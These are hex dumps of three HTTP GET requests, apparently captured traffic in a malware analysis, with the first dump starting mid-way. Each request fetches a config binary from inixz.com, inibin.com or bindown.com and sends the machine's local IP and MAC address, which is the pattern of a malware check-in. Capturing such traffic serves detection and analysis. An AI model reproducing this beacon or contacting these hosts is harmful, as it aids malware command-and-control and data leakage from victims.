0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 69787a2e 636f6d0d 0a436f6e   : inixz.com..Con
0x00000100 (00256)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000110 (00272)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000120 (00288)   6f2d6361 6368650d 0a0d0a0d 0a68650d   o-cache......he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 6962696e 2e636f6d 0d0a436f   : inibin.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0a68650d   no-cache.....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a206269 6e646f77 6e2e636f 6d0d0a43   : bindown.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...


Strings